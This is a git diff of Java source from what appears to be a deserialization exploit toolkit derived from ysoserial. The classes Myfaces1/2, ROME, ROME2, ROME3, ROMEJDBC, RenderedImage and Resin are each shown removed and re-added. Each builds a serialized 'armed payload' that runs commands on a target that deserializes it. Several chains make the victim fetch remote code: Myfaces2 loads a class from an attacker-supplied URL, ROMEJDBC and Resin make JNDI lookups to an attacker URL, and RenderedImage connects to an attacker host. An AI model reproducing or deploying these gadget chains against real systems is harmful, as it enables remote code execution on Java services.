com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.DynamicDependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; -import org.apache.myfaces.context.servlet.FacesContextImpl; -import org.apache.myfaces.context.servlet.FacesContextImplBase; -import org.apache.myfaces.el.CompositeELResolver; -import org.apache.myfaces.el.unified.FacesELContext; -import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; - -import javax.el.ELContext; -import javax.el.ExpressionFactory; -import javax.el.ValueExpression; -import javax.servlet.ServletResponse; - -import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; - -/** - * ValueExpressionImpl.getValue(ELContext) - * ValueExpressionMethodExpression.getMethodExpression(ELContext) - * ValueExpressionMethodExpression.getMethodExpression() - * ValueExpressionMethodExpression.hashCode() - * HashMap.hash(Object) - * HashMap.readObject(ObjectInputStream) - *

- * Arguments: - * - an EL expression to execute - *

- * Requires: - * - MyFaces - * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) - * - * @author mbechler - */ - -@SuppressWarnings({"unused"}) -@Dependencies -@Authors({Authors.MBECHLER}) -public class Myfaces1 implements ObjectPayload, DynamicDependencies { - public static String[] getDependencies() { - if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) { - return new String[]{ - "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", - "org.mortbay.jasper:apache-el:8.0.27", - "javax.servlet:javax.servlet-api:3.1.0", - - // deps for mocking the FacesContext - "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" - }; - } else if ("juel".equals(System.getProperty("el"))) { - return new String[]{ - "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", - "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", - "javax.servlet:javax.servlet-api:3.1.0", - - // deps for mocking the FacesContext - "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" - }; - } - - throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); - } - - public static Object makeExpressionPayload(String expr) throws Exception { - FacesContextImpl fc = new FacesContextImpl(null, null, (ServletResponse) null); - ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); - Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); - ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); - - ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); - ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); - ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); - ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); - - return makeMap(e2, e); - } - - @Override - public Object getObject(String command) throws Exception { - return makeExpressionPayload(command); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.DynamicDependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.myfaces.context.servlet.FacesContextImpl; +import org.apache.myfaces.context.servlet.FacesContextImplBase; +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; + +import javax.el.ELContext; +import javax.el.ExpressionFactory; +import javax.el.ValueExpression; +import javax.servlet.ServletResponse; + +import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; + +/** + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + *

+ * Arguments: + * - an EL expression to execute + *

+ * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ + +@SuppressWarnings({"unused"}) +@Dependencies +@Authors({Authors.MBECHLER}) +public class Myfaces1 implements ObjectPayload, DynamicDependencies { + public static String[] getDependencies() { + if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) { + return new String[]{ + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.mortbay.jasper:apache-el:8.0.27", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } else if ("juel".equals(System.getProperty("el"))) { + return new String[]{ + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } + + throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); + } + + public static Object makeExpressionPayload(String expr) throws Exception { + FacesContextImpl fc = new FacesContextImpl(null, null, (ServletResponse) null); + ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); + Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); + ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); + + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); + ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); + ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); + + return makeMap(e2, e); + } + + @Override + public Object getObject(String command) throws Exception { + return makeExpressionPayload(command); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java b/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java index 119e407..c46c2e2 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java @@ -1,29 +1,29 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.utils.DynamicDependencies; - -@SuppressWarnings({"unused"}) -public class Myfaces2 implements ObjectPayload, DynamicDependencies { - @Override - public Object getObject(String command) throws Exception { - - int sep = command.lastIndexOf(':'); - if (sep < 0) { - throw new IllegalArgumentException("Command format is: :"); - } - - String url = command.substring(0, sep); - String className = command.substring(sep + 1); - - // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ - StringBuilder expr = new StringBuilder("${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"); - - // if we add fewer than the actual classloaders we end up with a null entry - for (int i = 0; i < 100; i++) { - expr.append("${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('").append(url).append("').toURL())}"); - } - expr.append("${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('").append(className).append("').newInstance()}"); - - return Myfaces1.makeExpressionPayload(expr.toString()); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.DynamicDependencies; + +@SuppressWarnings({"unused"}) +public class Myfaces2 implements ObjectPayload, DynamicDependencies { + @Override + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ + StringBuilder expr = new StringBuilder("${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"); + + // if we add fewer than the actual classloaders we end up with a null entry + for (int i = 0; i < 100; i++) { + expr.append("${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('").append(url).append("').toURL())}"); + } + expr.append("${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('").append(className).append("').newInstance()}"); + + return Myfaces1.makeExpressionPayload(expr.toString()); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java b/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java index 0d2af0f..ebab9db 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java @@ -1,77 +1,77 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.LdapServer; -import org.reflections.Reflections; - -import java.lang.reflect.Modifier; -import java.util.Random; -import java.util.Set; - -import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap; - -public interface ObjectPayload { - - /* - * return armed payload object to be serialized that will execute specified - * command on deserialization - */ - T getObject(String command) throws Exception; - - class Utils { - - // get payload classes by classpath scanning - public static Set>> getPayloadClasses() { - final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); - @SuppressWarnings("unchecked") - final Set>> payloadTypes = - (Set>>) (Set) - reflections.getSubTypesOf(ObjectPayload.class); - payloadTypes.removeIf(pc -> pc.isInterface() || Modifier.isAbstract(pc.getModifiers())); - return payloadTypes; - } - - - @SuppressWarnings("unchecked") - public static Class> getPayloadClass(final String className) { - Class> clazz = null; - try { - clazz = (Class>) Class.forName(className); - } catch (Exception ignored) { - } - if (clazz == null) { - try { - return (Class>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className); - } catch (NoClassDefFoundError | Exception e) { - clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className); - } - } - if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) { - clazz = null; - } - return clazz; - } - - - public static void releasePayload(ObjectPayload payload, Object object) throws Exception { - if (payload instanceof ReleaseableObjectPayload) { - ((ReleaseableObjectPayload) payload).release(object); - } - } - - - //生成随机字符 - public static String generateRandomString(int length) { - String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; - StringBuilder sb = new StringBuilder(); - - Random random = new Random(); - for (int i = 0; i < length; i++) { - int index = random.nextInt(characters.length()); - char randomChar = characters.charAt(index); - sb.append(randomChar); - } - - return sb.toString(); - } - } +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.LdapServer; +import org.reflections.Reflections; + +import java.lang.reflect.Modifier; +import java.util.Random; +import java.util.Set; + +import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap; + +public interface ObjectPayload { + + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + T getObject(String command) throws Exception; + + class Utils { + + // get payload classes by classpath scanning + public static Set>> getPayloadClasses() { + final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); + @SuppressWarnings("unchecked") + final Set>> payloadTypes = + (Set>>) (Set) + reflections.getSubTypesOf(ObjectPayload.class); + payloadTypes.removeIf(pc -> pc.isInterface() || Modifier.isAbstract(pc.getModifiers())); + return payloadTypes; + } + + + @SuppressWarnings("unchecked") + public static Class> getPayloadClass(final String className) { + Class> clazz = null; + try { + clazz = (Class>) Class.forName(className); + } catch (Exception ignored) { + } + if (clazz == null) { + try { + return (Class>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className); + } catch (NoClassDefFoundError | Exception e) { + clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className); + } + } + if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) { + clazz = null; + } + return clazz; + } + + + public static void releasePayload(ObjectPayload payload, Object object) throws Exception { + if (payload instanceof ReleaseableObjectPayload) { + ((ReleaseableObjectPayload) payload).release(object); + } + } + + + //生成随机字符 + public static String generateRandomString(int length) { + String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + StringBuilder sb = new StringBuilder(); + + Random random = new Random(); + for (int i = 0; i < length; i++) { + int index = random.nextInt(characters.length()); + char randomChar = characters.charAt(index); + sb.append(randomChar); + } + + return sb.toString(); + } + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROME.java b/src/main/java/com/qi4l/JYso/gadgets/ROME.java index 4e2bd3e..40dae9d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ROME.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ROME.java @@ -1,42 +1,42 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.sun.syndication.feed.impl.ObjectBean; - -import javax.xml.transform.Templates; - -import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; - - -/** - * TemplatesImpl.getOutputProperties() - * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) - * NativeMethodAccessorImpl.invoke(Object, Object[]) - * DelegatingMethodAccessorImpl.invoke(Object, Object[]) - * Method.invoke(Object, Object...) - * ToStringBean.toString(String) - * ToStringBean.toString() - * ObjectBean.toString() - * EqualsBean.beanHashCode() - * ObjectBean.hashCode() - * HashMap.hash(Object) - * HashMap.readObject(ObjectInputStream) - * - * @author mbechler - */ - -@SuppressWarnings({"unused"}) -@Dependencies("rome:rome:1.0") -@Authors({Authors.MBECHLER}) -public class ROME implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - final Object templates; - templates = Gadgets.createTemplatesImpl(command); - ObjectBean delegate = new ObjectBean(Templates.class, templates); - ObjectBean root = new ObjectBean(ObjectBean.class, delegate); - return makeMap(root, root); - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.sun.syndication.feed.impl.ObjectBean; + +import javax.xml.transform.Templates; + +import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; + + +/** + * TemplatesImpl.getOutputProperties() + * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) + * NativeMethodAccessorImpl.invoke(Object, Object[]) + * DelegatingMethodAccessorImpl.invoke(Object, Object[]) + * Method.invoke(Object, Object...) + * ToStringBean.toString(String) + * ToStringBean.toString() + * ObjectBean.toString() + * EqualsBean.beanHashCode() + * ObjectBean.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * @author mbechler + */ + +@SuppressWarnings({"unused"}) +@Dependencies("rome:rome:1.0") +@Authors({Authors.MBECHLER}) +public class ROME implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + ObjectBean delegate = new ObjectBean(Templates.class, templates); + ObjectBean root = new ObjectBean(ObjectBean.class, delegate); + return makeMap(root, root); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROME2.java b/src/main/java/com/qi4l/JYso/gadgets/ROME2.java index 07ad839..96852e2 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ROME2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ROME2.java @@ -1,37 +1,37 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.sun.syndication.feed.impl.EqualsBean; - -import javax.xml.transform.Templates; -import java.util.Map; - -import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; -import static com.qi4l.JYso.gadgets.utils.Utils.createMap; - -@SuppressWarnings({"rawtypes", "unchecked","unused"}) -@Dependencies("rome:rome:1.0") -public class ROME2 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - final Object o; - - o = Gadgets.createTemplatesImpl(command); - - EqualsBean bean = new EqualsBean(String.class, ""); - - Map map1 = createMap("aa", o); - map1.put("bB", bean); - - Map map2 = createMap("aa", bean); - map2.put("bB", o); - - Reflections.setFieldValue(bean, "_beanClass", Templates.class); - Reflections.setFieldValue(bean, "_obj", o); - - return makeMap(map1, map2); - } - -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.syndication.feed.impl.EqualsBean; + +import javax.xml.transform.Templates; +import java.util.Map; + +import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; +import static com.qi4l.JYso.gadgets.utils.Utils.createMap; + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies("rome:rome:1.0") +public class ROME2 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object o; + + o = Gadgets.createTemplatesImpl(command); + + EqualsBean bean = new EqualsBean(String.class, ""); + + Map map1 = createMap("aa", o); + map1.put("bB", bean); + + Map map2 = createMap("aa", bean); + map2.put("bB", o); + + Reflections.setFieldValue(bean, "_beanClass", Templates.class); + Reflections.setFieldValue(bean, "_obj", o); + + return makeMap(map1, map2); + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROME3.java b/src/main/java/com/qi4l/JYso/gadgets/ROME3.java index 5a07b8c..383385f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ROME3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ROME3.java @@ -1,24 +1,24 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Gadgets; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.sun.syndication.feed.impl.ObjectBean; - -import javax.management.BadAttributeValueExpException; -import javax.xml.transform.Templates; - -@SuppressWarnings({"unused"}) -@Authors({"Firebasky"}) -@Dependencies("rome:rome:1.0") -public class ROME3 implements ObjectPayload { - @Override - public Object getObject(String command) throws Exception { - Object o = Gadgets.createTemplatesImpl(command); - ObjectBean delegate = new ObjectBean(Templates.class, o); - BadAttributeValueExpException b = new BadAttributeValueExpException(""); - Reflections.setFieldValue(b, "val", delegate); - return b; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.syndication.feed.impl.ObjectBean; + +import javax.management.BadAttributeValueExpException; +import javax.xml.transform.Templates; + +@SuppressWarnings({"unused"}) +@Authors({"Firebasky"}) +@Dependencies("rome:rome:1.0") +public class ROME3 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + Object o = Gadgets.createTemplatesImpl(command); + ObjectBean delegate = new ObjectBean(Templates.class, o); + BadAttributeValueExpException b = new BadAttributeValueExpException(""); + Reflections.setFieldValue(b, "val", delegate); + return b; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java b/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java index b43f479..c95eb24 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java @@ -1,37 +1,37 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.rometools.rome.feed.impl.EqualsBean; -import com.rometools.rome.feed.impl.ToStringBean; -import com.sun.rowset.JdbcRowSetImpl; - -import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; - -@SuppressWarnings({"unused"}) -public class ROMEJDBC implements ObjectPayload { - // Assuming JDKUtil class with makeJNDIRowSet method - public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception { - JdbcRowSetImpl rs = new JdbcRowSetImpl(); - rs.setDataSourceName(jndiUrl); - rs.setMatchColumn("foo"); - Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); - return rs; - } - - @Override - public Object getObject(String command) throws Exception { - // Assuming makeJNDIRowSet is a static method in JDKUtil - return makeROMEAllPropertyTrigger(JdbcRowSetImpl.class, makeJNDIRowSet(command)); - } - - public Object makeROMEAllPropertyTrigger(Class type, T obj) throws Exception { - ToStringBean item = new ToStringBean(type, obj); - EqualsBean root = new EqualsBean(ToStringBean.class, item); - return makeHashCodeTrigger(root); - } - - public Object makeHashCodeTrigger(Object o1) throws Exception { - return makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object - } - -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.rometools.rome.feed.impl.EqualsBean; +import com.rometools.rome.feed.impl.ToStringBean; +import com.sun.rowset.JdbcRowSetImpl; + +import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; + +@SuppressWarnings({"unused"}) +public class ROMEJDBC implements ObjectPayload { + // Assuming JDKUtil class with makeJNDIRowSet method + public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception { + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(jndiUrl); + rs.setMatchColumn("foo"); + Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); + return rs; + } + + @Override + public Object getObject(String command) throws Exception { + // Assuming makeJNDIRowSet is a static method in JDKUtil + return makeROMEAllPropertyTrigger(JdbcRowSetImpl.class, makeJNDIRowSet(command)); + } + + public Object makeROMEAllPropertyTrigger(Class type, T obj) throws Exception { + ToStringBean item = new ToStringBean(type, obj); + EqualsBean root = new EqualsBean(ToStringBean.class, item); + return makeHashCodeTrigger(root); + } + + public Object makeHashCodeTrigger(Object o1) throws Exception { + return makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ReleaseableObjectPayload.java b/src/main/java/com/qi4l/JYso/gadgets/ReleaseableObjectPayload.java index 12f6730..f8debdf 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ReleaseableObjectPayload.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ReleaseableObjectPayload.java @@ -1,6 +1,6 @@ -package com.qi4l.JYso.gadgets; - -public interface ReleaseableObjectPayload extends ObjectPayload { - - void release(Object obj) throws Exception; -} +package com.qi4l.JYso.gadgets; + +public interface ReleaseableObjectPayload extends ObjectPayload { + + void release(Object obj) throws Exception; +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java b/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java index a77ff54..849f782 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java +++ b/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java @@ -1,57 +1,57 @@ -package com.qi4l.JYso.gadgets; - -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.Reflections; - -import javax.imageio.ImageIO; -import javax.media.jai.remote.SerializableRenderedImage; -import java.awt.image.BufferedImage; -import java.io.ByteArrayInputStream; -import java.net.InetAddress; - -@SuppressWarnings({"unused"}) -@Dependencies({"javax.media:jai-codec-1.1.3"}) -public class RenderedImage implements ObjectPayload { - public static byte hexToByte(String inHex) { - return (byte) Integer.parseInt(inHex, 16); - } - - public static byte[] hexToByteArray(String inHex) { - int hexlen = inHex.length(); - byte[] result; - if (hexlen % 2 == 1) { - hexlen++; - result = new byte[(hexlen / 2)]; - inHex = "0" + inHex; - } else { - result = new byte[(hexlen / 2)]; - } - int j = 0; - for (int i = 0; i < hexlen; i += 2) { - result[j] = hexToByte(inHex.substring(i, i + 2)); - j++; - } - return result; - } - - @Override - public Object getObject(String command) throws Exception { - - int sep = command.lastIndexOf(':'); - if (sep < 0) { - throw new IllegalArgumentException("Command format is: :"); - } - - String host = command.substring(0, sep); - String port = command.substring(sep + 1); - - String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9"; - BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex))); - - SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true); - Reflections.setFieldValue(serializableRenderedImage, "port", Integer.parseInt(port)); - Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName(host)); - - return serializableRenderedImage; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; + +import javax.imageio.ImageIO; +import javax.media.jai.remote.SerializableRenderedImage; +import java.awt.image.BufferedImage; +import java.io.ByteArrayInputStream; +import java.net.InetAddress; + +@SuppressWarnings({"unused"}) +@Dependencies({"javax.media:jai-codec-1.1.3"}) +public class RenderedImage implements ObjectPayload { + public static byte hexToByte(String inHex) { + return (byte) Integer.parseInt(inHex, 16); + } + + public static byte[] hexToByteArray(String inHex) { + int hexlen = inHex.length(); + byte[] result; + if (hexlen % 2 == 1) { + hexlen++; + result = new byte[(hexlen / 2)]; + inHex = "0" + inHex; + } else { + result = new byte[(hexlen / 2)]; + } + int j = 0; + for (int i = 0; i < hexlen; i += 2) { + result[j] = hexToByte(inHex.substring(i, i + 2)); + j++; + } + return result; + } + + @Override + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String host = command.substring(0, sep); + String port = command.substring(sep + 1); + + String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9"; + BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex))); + + SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true); + Reflections.setFieldValue(serializableRenderedImage, "port", Integer.parseInt(port)); + Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName(host)); + + return serializableRenderedImage; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Resin.java b/src/main/java/com/qi4l/JYso/gadgets/Resin.java index 17dd1db..b7efb18 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Resin.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Resin.java @@ -1,79 +1,79 @@ -package com.qi4l.JYso.gadgets; - -import com.caucho.naming.QName; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.sun.org.apache.xpath.internal.objects.XString; - -import javax.naming.CannotProceedException; -import javax.naming.Reference; -import javax.naming.directory.DirContext; -import java.lang.reflect.Constructor; -import java.net.URI; -import java.util.Hashtable; - -import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; - -@SuppressWarnings({"unused"}) -public class Resin implements ObjectPayload { - public static Object makeToStringTrigger(Object o) throws Exception { - String unhash = unhash(o.hashCode()); - XString xString = new XString(unhash); - return makeMap(o, xString); - } - - public static String unhash(int hash) { - int target = hash; - StringBuilder answer = new StringBuilder(); - if (target < 0) { - // String with hash of Integer.MIN_VALUE, 0x80000000 - answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); - - if (target == Integer.MIN_VALUE) - return answer.toString(); - // Find target without sign bit set - target = target & Integer.MAX_VALUE; - } - - unhash0(answer, target); - return answer.toString(); - } - - private static void unhash0(StringBuilder partial, int target) { - int div = target / 31; - int rem = target % 31; - - if (div <= Character.MAX_VALUE) { - if (div != 0) - partial.append((char) div); - partial.append((char) rem); - } else { - unhash0(partial, div); - partial.append((char) rem); - } - } - - @Override - public Object getObject(String command) throws Exception { - //需要处理command - return makeResinQName(command); - } - - public Object makeResinQName(String command) throws Exception { - Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ - Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); - ccCons.setAccessible(true); - CannotProceedException cpe = new CannotProceedException(); - Reflections.setFieldValue(cpe, "cause", null); - Reflections.setFieldValue(cpe, "stackTrace", null); - //考虑换成其他的 - URI uri = new URI(command); - String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; - cpe.setResolvedObj(new Reference("Foo", args[1], args[0])); - - Reflections.setFieldValue(cpe, "suppressedExceptions", null); - DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>()); - QName qName 